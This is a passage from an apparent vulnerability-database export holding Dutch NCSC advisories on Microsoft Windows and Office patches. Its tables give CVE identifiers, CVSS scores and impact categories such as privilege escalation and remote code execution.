7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:10.656238Z"}, {"uuid": "ac14aef5-3ef9-44b5-9b49-b89b29dd5d0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:52.782433Z"}, {"uuid": "bc73e8fc-c2c2-4623-81e6-f0901084499b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54127", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| 